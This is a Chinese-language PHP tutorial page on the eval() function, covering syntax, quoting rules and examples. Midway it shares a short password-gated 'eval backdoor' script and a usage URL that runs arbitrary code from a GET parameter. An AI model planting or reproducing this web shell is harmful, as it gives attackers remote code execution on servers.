PHP eval函数使用介绍


Posted in PHP onDecember 08, 2013

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。

代码:

$a=100;
eval("echo$a;");

因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:

$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

PHP eval() 函数介绍

定义和用法

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

语法
eval(phpcode)

参数 描述
phpcode 必需。规定要计算的 PHP 代码。

提示和注释
注释:返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。
例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>

输出:
This is a $string $time morning!
This is a beautiful winter morning!

PHP 相关文章推荐
中英文字符串翻转函数
Dec 09 PHP
PHP nl2br函数 将换行字符转成 &amp;lt;br&amp;gt;
Aug 21 PHP
解析PHP对现有搜索引擎的调用
Jun 25 PHP
php将字符串转化成date存入数据库的两种方式
Apr 28 PHP
如何让搜索引擎抓取AJAX内容解决方案
Aug 25 PHP
php实现模拟post请求用法实例
Jul 11 PHP
PHP实现删除字符串中任何字符的函数
Aug 11 PHP
Linux平台PHP5.4设置FPM线程数量的方法
Nov 09 PHP
PHP文件管理之实现网盘及压缩包的功能操作
Sep 20 PHP
Laravel 5.5基于内置的Auth模块实现前后台登陆详解
Dec 21 PHP
php实现在线考试系统【附源码】
Sep 18 PHP
PHP的cookie与session原理及用法详解
Sep 27 PHP
Server.HTMLEncode让代码在页面里显示为源代码
Dec 08 #PHP
php自定义的格式化时间示例代码
Dec 05 #PHP
php调整gif动画图片尺寸示例代码分享
Dec 05 #PHP
PHP数据库链接类(PDO+Access)实例分享
Dec 05 #PHP
php函数指定默认值方法的小例子
Dec 04 #PHP
PHP函数microtime()用法与说明
Dec 04 #PHP
php实现memcache缓存示例讲解
Dec 04 #PHP
You might like
PHP 抓取网页图片并且另存为的实现代码
2010/03/24 PHP
PHP遍历数组的几种方法
2012/03/22 PHP
smarty模板引擎之配置文件数据和保留数据
2015/03/30 PHP
Jquery 快速构建可拖曳的购物车DragDrop
2009/11/30 Javascript
Jquery 获得服务器控件值的方法小结
2010/05/11 Javascript
jQuery-ui中自动完成实现方法
2010/06/10 Javascript
详解强大的jQuery选择器之基本选择器、层次选择器
2012/02/07 Javascript
Extjs4 类的定义和扩展实例
2013/06/28 Javascript
浅谈JavaScript字符串拼接
2015/06/25 Javascript
jquery衣服颜色选取插件效果代码分享
2015/08/28 Javascript
vue.js实现表格合并示例代码
2016/11/30 Javascript
jQuery实现一个简单的验证码功能
2017/06/26 jQuery
React 使用Hooks简化受控组件的状态绑定
2019/03/18 Javascript
jquery实现动态改变css样式的方法分析
2019/05/27 jQuery
JS window对象简单操作完整示例
2020/01/14 Javascript
python虚拟环境 virtualenv的简单使用
2020/01/21 Javascript
Vue中使用Echarts仪表盘展示实时数据的实现
2020/11/01 Javascript
vue组件中节流函数的失效的原因和解决方法
2020/12/02 Vue.js
python批量修改文件后缀示例代码分享
2013/12/24 Python
Python 比较两个数组的元素的异同方法
2017/08/17 Python
python线程池(threadpool)模块使用笔记详解
2017/11/17 Python
Python3中在Anaconda环境下安装basemap包
2018/10/21 Python
对django views中 request, response的常用操作详解
2019/07/17 Python
Python中的相关分析correlation analysis的实现
2019/08/29 Python
Windows 下python3.8环境安装教程图文详解
2020/03/11 Python
利用Python实现自动扫雷小脚本
2020/12/17 Python
灵活运用CSS3特性绘制简易版围棋效果
2016/09/28 HTML / CSS
发现两个有趣的CSS3动画效果
2013/08/14 HTML / CSS
CSS3 实现侧边栏展开收起动画
2014/12/22 HTML / CSS
HTML5的自定义属性data-*详细介绍和JS操作实例
2014/04/10 HTML / CSS
美国大型的健身社区和补充商店:Bodybuilding.com
2016/09/06 全球购物
约瑟夫·特纳男装:Joseph Turner
2017/10/10 全球购物
怎样写留学自荐信
2013/11/11 职场文书
施工材料员岗位职责
2014/02/12 职场文书
教师爱岗敬业演讲稿
2014/05/05 职场文书
雷锋的观后感
2015/06/10 职场文书